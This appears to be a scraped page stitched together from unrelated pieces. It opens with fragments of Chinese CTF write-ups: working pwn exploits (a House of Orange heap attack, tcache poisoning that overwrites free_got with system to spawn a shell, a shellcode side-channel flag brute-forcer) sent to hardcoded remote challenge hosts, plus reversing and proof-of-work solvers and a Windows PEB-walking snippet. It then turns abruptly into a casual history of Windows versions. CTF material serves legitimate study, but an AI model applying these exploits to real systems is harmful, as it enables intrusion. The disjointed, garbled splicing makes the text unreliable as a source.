s2 = "congratulationstoyoucongratulationstoy" for i inrange(flag_len): solver.add(s1[i] == ord(s2[i]))
if solver.check() == sat: model = solver.model() flag = ''.join([chr(model[flag_chars[i]].as_long()) for i inrange(flag_len)]) print(f'flag: {flag}') else: print('unsat')
有 syscall 但是没有 syscall ; ret ，因此我们的 ROP chain 最多只能有一次 raw syscall ，因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag ：
1
flag{08c559f9-81f7-4c74-a983-9eb59502de34}
orange_cat_diary
首先用 IDA 反编译程序，在程序中发现以下漏洞：
heap overflow（8字节的溢出）
UAF（只能使用一次，因为只能 delete 一次）
write after free
read after free
再根据题目名称的提示可以知道，可以使用 House of Orange 进行攻击（利用 heap overflow 和 read after free），泄露出 libc 地址和堆地址。由于 libc 的版本为2.23，因此最简便的方法就是劫持 __malloc_hook 。使用 pwndbg 的 find_fake_fast 命令找到用于覆盖 __malloc_hook 内容的 fast bin 地址，然后利用 write after free 劫持 fast bin ，使其返回该 chunk ，然后将__realloc_hook写为one_gadget，将__malloc_hook写为realloc，这样做更容易满足one_gadget条件。 利用代码如下：
# p = binary.process() p = remote('8.147.129.254', 25553) p.recvuntil(b'Please tell me your name.\n') p.sendline(b'BeaCox')
defmenu(): p.recvuntil(b'###orange_cat_diary###') p.recvuntil(b'Please input your choice:')
defadd(size, content): menu() p.sendline(b'1') p.recvuntil(b'Please input the length of the diary content:') p.sendline(str(size).encode()) p.recvuntil(b'Please enter the diary content:\n') p.send(content)
defshow(): menu() p.sendline(b'2')
defdelete(): menu() p.sendline(b'3')
defedit(size, content): menu() p.sendline(b'4') p.recvuntil(b'Please input the length of the diary content:') p.sendline(str(size).encode()) p.recvuntil(b'Please enter the diary content:\n') p.send(content)
# convert to qrcode from PIL import Image MAX = 31 pic = Image.new("RGB",(MAX, MAX)) i=0 for y inrange (0,MAX): for x inrange (0,MAX): if(flag[i] == '1'): pic.putpixel([x,y],(0, 0, 0)) else: pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() pic.save("flag.png") # TBTL{Wh47_D1d_H3_5aY_D34r?_D14g0nal1y...}
defedit(length, payload): p.sendlineafter(b'Your choice:', b'3') p.sendlineafter(b'How many characters do you want to change:', str(length).encode()) p.send(payload)
for i, c inenumerate(shellcode1): # if c >= 0b10000000: # log.info("bad byte %s at index %d" % (hex(c), i)) # log.error(shellcode1) if i & 1 != c & 1: log.info("bad byte %s at index %d" % (hex(c), i)) log.error(shellcode1) if c & 1 == 1and c > 0x80: log.info("negative byte %s at index %d" % (hex(c), i)) log.error(shellcode1)
# we need brute force every byte of flag # the seach space is 0x20 ~ 0x7e search_space = [i for i inrange(0x20, 0x7e)]
flag_probable_len = 0x40 flag = '' for i inrange(flag_probable_len): for ch in search_space: # p = process(binary.path) p = remote('111.186.57.85',40245) p.recvuntil(b'Please input your shellcode: \n') ### stage1: call a read syscall to read shellcode p.send(shellcode1) ### stage2: fuck yeah! we can send shellcode without limitation now # but we have no write # so we have to use ways like side channel shellcode2 = asm(f''' lea rdi, [rip+flag] mov rsi, 0 mov rax, 2 syscall mov rdi, rax mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall loop: xor rax, rax xor rbx, rbx mov al, byte ptr[rsp+{i}] mov bl, {ch} cmp al, bl je loop flag: .string "./flag" ''') shellcode2 += b'\x90' * (0x200 - len(shellcode2)) p.send(shellcode2) # learned from changcheng cup... p.shutdown('send')
# now if ch is the right byte, the program will be in a dead loop # otherwise the program will die sleep(1) # if p.poll() == None: # flag += chr(ch) # print("flag is now: ", flag) # p.close() # break # else: # p.close() # continue try: detection = p.fileno() p.recv(timeout=0.1) flag += chr(ch) print("flag is now: ", flag) p.close() break except: p.close() continue
# we will use this to get libc leak and control free_got malloc(0,0x500, b'a') malloc(1,0x20,b'/bin/sh\x00') free(0)
# 2 is used to get control of tcache malloc(2,0x90, b'b') # 3 is used to make a tcache bin malloc(3,0x330, b'c') free(3) gdb.attach(p) edit(2,p64(heap_manager)*(0x90//8)) # now tcace bin is # 0x340 [ 1]: 0x4060b0 ◂— 0x0 # 0x350 [ 0]: 0x4060b0 ◂— ... payload=p64(0x1000)+p32(free_got) # now we control the heap_manager # we make index 0 's size 0x1000 # and we make index 1 's pointer to free_got malloc(3,0x330,payload) # this will puts what is on the free_got response = puts(0) libc_leak = response[-6:].ljust(8, b'\x00') libc.address = u64(libc_leak) - libc.sym['free'] info(f'[LEAK&CALC]: libc_base: {hex(libc.address)}') system = libc.sym['system'] # we overwrite free_got with system edit_0_end(0,p64(system)) # 1's pointer point to /bin/sh free(1) p.interactive()
v25 = p64(0xA39C3E6994313F40) + p64(0x17872470565B9B60) + p64(0x11A918AABA97CA68) + p64(0xB8F1B0AB9B3DD3B0) + p64(0x488749FB6A1835E4) + p64(0x82926F78FE98158) ct = p64(0xe3de41c1f389569c) + p64(0x3500a2b1a46c9bd1) + p64(0x890a29f3d010d481) + p64(0x200f1fca08a04513) + p64(0xc3ab5b0381564f00) + p64(0x08953b09bbf7fdc7) # tmp1 is the bytearray after xored tmp1 = bytearray() # each byte in tmp is the result of ct[i] - v25[i] for i inrange(48): if ct[i] < v25[i]: tmp1.append(ct[i] + 256 - v25[i]) else: tmp1.append(ct[i] - v25[i]) # tmp1 is the bytearray before xored with 0x28 for i inrange(48): tmp1[i] ^= 0x28 print(tmp1)
defreverse(cypher): # group cypher into 8 bytes cypher = [cypher[i:i+8] for i inrange(0, len(cypher), 8)] # for each group, we decrypt it for i inrange(len(cypher)): # swap BYTE3 and BYTE4 tmp = cypher[i][3] cypher[i][3] = cypher[i][4] cypher[i][4] = tmp for j inrange(8): cypher[i][j] += j + i*8 # swap BYTE2 and BYTE6 tmp = cypher[i][2] cypher[i][2] = cypher[i][6] cypher[i][6] = tmp # swap BYTE1 and BYTE7 tmp = cypher[i][1] cypher[i][1] = cypher[i][7] cypher[i][7] = tmp # swap BYTE0 and BYTE5 tmp = cypher[i][0] cypher[i][0] = cypher[i][5] cypher[i][5] = tmp
# get the result result = b'' for i inrange(len(cypher)): result += bytes(cypher[i]) print(result)
defsolve_pow(challenge, difficulty=4, timeout=0.5): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defsave_image(): count = 0 for i inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) # compared with the local images using b64, if the image is not in the local images, save it # using a uuid as the filename # if folder is empty, save the image directly ifnot os.listdir('images'): withopen(f'images/{uuid.uuid4()}.png', 'wb') as f: f.write(base64.b64decode(b64_image)) count += 1 else: save_flag = True for filename in os.listdir('images'): withopen(f'images/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): save_flag = False break if save_flag: withopen(f'images/{uuid.uuid4()}.png', 'wb') as f: f.write(base64.b64decode(b64_image)) count += 1
defsolve_pow(challenge, difficulty=4, timeout=0.5): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defeval_image(): for _ inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) for filename in os.listdir('images_model'): withopen(f'images_model/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): correct_answer = filename[-5].upper() file_list.append(filename) if correct_answer != 'Y'and correct_answer != 'N': correct_answer = 'N' correct_answers.append(correct_answer) break
p.recvuntil(b" all 20 rounds (Y/N): ") data = ''.join(correct_answers) info(data) p.sendline(data.encode())
whileTrue: correct_answers = [] file_list = [] p = remote('instance.penguin.0ops.sjtu.cn', 18081) p.send(b'CONNECT gmvfevkv2k6p982q:1 HTTP/1.1\r\n\r\n') p.recvuntil(b"solution + '") challenge = p.recvuntil(b"'", drop=True).decode() info(f"challenge: {challenge}") # p.interactive() solution = solve_pow(challenge) if solution isNone: p.close() continue info(f"solution: {solution}") p.sendline(solution.encode()) eval_image() try: response = p.recvuntil(b"Incorrect answer for Round ", timeout=0.3) wrong_round = p.recvuntil(b".", drop=True) info(f"wrong_round: {wrong_round}") wrong_round = int(wrong_round) wrong_filename = file_list[wrong_round - 1] # change the filename to the right answer(opposite of original answer) # modify the filename to the right answer correct_answer = correct_answers[wrong_round - 1] if correct_answer == 'Y': correct_answer = 'N' else: correct_answer = 'Y' right_filename = wrong_filename[:-5] + correct_answer + '.png' # append the wrong filename to log.txt withopen('log.txt', 'a') as f: f.write(f'{wrong_filename}\n') os.rename(f'images_model/{wrong_filename}', f'images_model/{right_filename}') p.close() continue except: break
defsolve_pow(challenge, difficulty=5, timeout=3): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defeval_image(): for _ inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) for filename in os.listdir('images_model'): withopen(f'images_model/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): correct_answer = filename[-5].upper() file_list.append(filename) if correct_answer != 'Y'and correct_answer != 'N': correct_answer = 'N' correct_answers.append(correct_answer) break
p.recvuntil(b" all 20 rounds (Y/N): ") data = ''.join(correct_answers) info(data) p.sendline(data.encode())
在命令框中键入lm，即 list modules，可以看到这个应用加载了5个模块。其中a是程序本身的名字（a.exe），而KERNEL32是我们关心的另一个模块，因为它控制着系统的内存管理、数据的输入输出操作和中断处理，或者换句话说，其中有许多我们可以利用的函数（如WriteFile()用来写）。在不使用调试工具的时候我们无法如此便捷地获取被加载模块的地址，因此我们需要用到 PEB。
intmain(void) { // __readgsqword(0x60) equals to mov <register>, gs:[0x60] PPEB pebPtr = (PPEB)__readgsqword(0x60); PPEB_LDR_DATA ldrData = pebPtr->Ldr; PLIST_ENTRY moduleList = &ldrData->InMemoryOrderModuleList; // Get the first module in the list PLDR_DATA_TABLE_ENTRY program_module = CONTAINING_RECORD(moduleList->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
MicrosoftWindows操作系统是美国微软公司研发的一套操作系统，它问世于1985年，起初仅仅是Microsoft-DOS模拟环境，后续的系统版本由于微软不断的更新升级，不但易用，也当前应用最广泛的操作系统。 Windows采用了图形化模式GUI，比起从前的Dos需要输入指令使用的方式，更为人性化。随着计算机硬件和软件的不断升级，微软的 Windows也在不断升级，从架构的16位、32位再到64位,系统版本从最初的 Windows1.0到大家熟知的 Windows95、 Windows98、 Windows2000、 Windows XP、 Windows Vista、 Windows7、Windows8、Windows8.1、Windows 10和 Windows Server服务器企业级操作系统，不断持续更新，微软一直在致力于Windows操作系统的开发和完善。
相对于其他的操作系统，win的入门门槛比较低，适合新手。 win初代的底层使用Unix，接下来就全部都是采用自家的NT。目前来说，桌面OS中 Windows 系统的占有率大约 76.52%，macOS 则是 18.99%。
Windows 之前
实际上 Windows 系统并不是微软的第一个操作系统，在 Windows 系统之前，大多数电脑都使用微软的 MS-DOS（微软磁盘操作系统）。MS-DOS 没有图形界面，用起来就像现在的 CMD 命令提示符，所有操作都通过一行行代码实现。因为有 IBM 的扶持，MS-DOS 几乎霸占了当时整块操作系统市场。 直到有一天，苹果创始人乔布斯做出了可能是他一生最后悔的决定：向微软创始人比尔盖茨炫耀苹果最新型的麦金塔电脑（Macintosh），并希望微软能为麦金塔电脑开发软件。//如果他还在世能看到我这篇文章肯定要骂娘?乔布斯一直瞧不起比尔盖茨就是这个原因。 麦金塔电脑搭载一个图形用户界面，可使用鼠标灵活的与系统交互，被认为是首款将 GUI 成功商品化的个人电脑。
Windows 1.0（1985年）
在麦金塔电脑正式发布一年后的 1985 年，微软仿造出了第一款有图形界面的操作系统，并取名叫做 Windows 1.0。用户可以更高效的查看文件，执行简单操作。
Windows 1.0 界面它还具有「多任务」和「在程序之间传输数据」的功能，这是 Windows 系统的第一个功能。
不过 Windows 1.0 的软件窗口不能重叠，几乎就是以微软的风格重置了麦金塔的系统。 {x} 哦对了，忘了一件重要的事！ 最早发明图形视窗操作系统的，是当年的技术先锋施乐公司。虽然图形界面是创造性的产品，相比于DOS系统，简单又酷炫，但是由于该系统既不成熟，也不实用，只有技术精英才会尝试。
Windows 偷了麦金塔，其实麦金塔也是偷自施乐公司的GUI。
Windows 2.0（1987年）
两年后微软将 Windows 更新到 2.0 版本，此版本让软件窗口可以重叠，还可调整窗口大小已节约屏幕空间，另外还有一些简单的键盘快捷键和对 VGA 图形的支持。
Windows 3.0、3.1（1990年）
3.0 版本是 Windows 一个重要的里程碑，它支持 256 色显示，使用虚拟内存欺骗程序，以达到更高效多任务处理。因为强大的多任务处理能力，Windows 的市场占有率飙升，从此一发不可收拾。
Windows 95（1995年）
自此，Windows 已经走过 10 个年头，离开 IBM 后的第一个版本，Windows「整容」归来。 Windows 95 在 GUI 方面改进非常大，Windows 系统的界面布局基本在这一代定型，经典的「开始菜单」按钮和 InternetExplorer 浏览器也是这个在这个版本加入。
Windows 98（1998年）
Windows 98 改进并不多，主要是对 fat-32 磁盘格式有了更好的支持，磁盘分区允许大于2GB。 Windows 98 界面这是一个 16 位和 32 位混合的系统，加上它老旧的 Windows 9x 内核，导致系统很容易出错，蓝屏几率很高。 不稳定 + 没有新意，Windows98 收获了一波差评如潮。
Windows 2000、ME（2000年）
这一年又是 Windows 重要的里程碑，微软在这一年发布了两款 Windows 系统。
其中 2000 版本也就是我们现在用的 Windows 系统的前身，它首次采用 NT 内核，着重于可访问性，大大提升了用户对系统的权限。著名的粘滞键（快速按Shift五次激活）也是在这个版本加入。
{alert type="info"} 另外还有很少人知道的 Windows ME（千禧年特别版）。它继续沿用了 Windows 98 的 9x 内核。可想而知 9x 内核的不稳定性也被沿用下来了。Windows ME 最终入选「有史以来最辣鸡的25个科技产品」，被誉为 Windows 系统的黑历史。 即便饱受诟病但 Windows ME 还是为我们留下了一些好东西，比如系统还原功能（不过 ME 的还原连病毒也会一并还原） {/alert}
Windows XP（2001年）
经典的「叉屁」系统有家庭版和专业版两个版本，宣告微软正式放弃 9x 内核。 XP 的界面称得上是一次革新，鲜艳的配色，圆润的UI和绿色的开始菜单和青天绿草。 不过XP现在有了新的意思，这里不多做解释。 Windows XP 界面XP 还是第一款提供 64 位的 Windows 系统。当时很流行 CD，所以 XP 系统也加入了 CD 刻录软件，还有桌面搜索，远程桌面等。
最重要的是它非常非常非常稳定，这也是为什么现在还有很 XP 钉子户的原因。
XP 是寿命最长的 Windows 系统（13年），被誉为微软的 Messiah（救世主），它的地位可想而知。
Windows Vista（2007年）
Vista 最大的卖点之一是新设计的界面（Aero Glass）但是性能要求过高，售价高昂。
尽管「用户帐户控制」功能前所未有的安全性，但这个功能强制开启不能关闭，让用户非常讨厌。 这点我在群里和小伙伴讨论了很久。 微软在 Vista 上步子迈的太大，扯到了蛋蛋。在用户调查中，只有 8％ 的人表示满意（XP是41%满意），尽管如此Vista 的首发销量却比XP好，有2000 万份，不过很多用户体验后又降级到 XP。
继续使用 Vista 的用户大多是游戏玩家，因为它是第一个包含 DirectX 10（用于 3D 图像处理） 的系统，
另外 Vista 还为我们留下了 Windows Defender（根据安全软件排名，这个系统自带的杀毒软件非常OK，360这边就不建议大家安装了）。
Windows 7（2009年）
两年后微软发布了 Windows 7，旨在解决 Vista 存在的问题。Windows 7 稍微改进了界面，可自主关闭「用户帐户控制」通知，便饱受好评。
Windows 8（2012年）
Windows 8 界面风格再次大改，它的重点是触摸屏设备，也就是微软的跨平台计划，为此开始菜单被设计成了一个铺满「瓷砖」的界面，这使许多人感到不适应。 这是我2013买的第一台电脑自带的系统//用的实在不习惯
Windows 10（2015年）
这是最近一代的 Windows 系统，也是微软的转型之作，以往的微软都是卖软件赚取，从Windows 10 开始微软的业务从软件销售专为云服务。所以 Windows 10 发布之初做出了免费送活动，Windows7 - 8.1 用户可以免费升级到 Windows 10，上亿用户免费洗白。 mac也在这年增加了对win系统的支持，使用启动转换助手可以直接安装win10，我记得之前我也写过这样的文章，但是在迁移过程中被删除了。 Windows 10 的重心回到桌面端，引入了个人助理小娜（Cortana），支持生物解锁（指纹和面部），自动搜索安装驱动，同时更新策略变为每年两次大更新，并且永久免费。
Windows 11（2021年）
Windows 11是由微软公司（Microsoft）开发的操作系统，应用于计算机和平板电脑等设备 。于2021年6月24日发布，2021年10月5日发行。 Windows 11提供了许多创新功能，增加了新版开始菜单和输入逻辑等，支持与时代相符的混合工作环境，侧重于在灵活多变的体验中提高最终用户的工作效率 。 截至2022年6月15日，Windows 11正式版已更新至22000.739版本 ；预览版已更新至25140 版本 。 2022年5月19日，微软宣布，Windows 11已可以广泛部署（broad deployment），意味着任何拥有符合Windows 11最低配置要求的PC都应该能够安装该系统。 2022年7月24日，微软正式上架了Win11的购买选项，Win11家庭版的国行售价为1088元，专业版则仅支持从Win10进行升级，无法直接购买。
登录
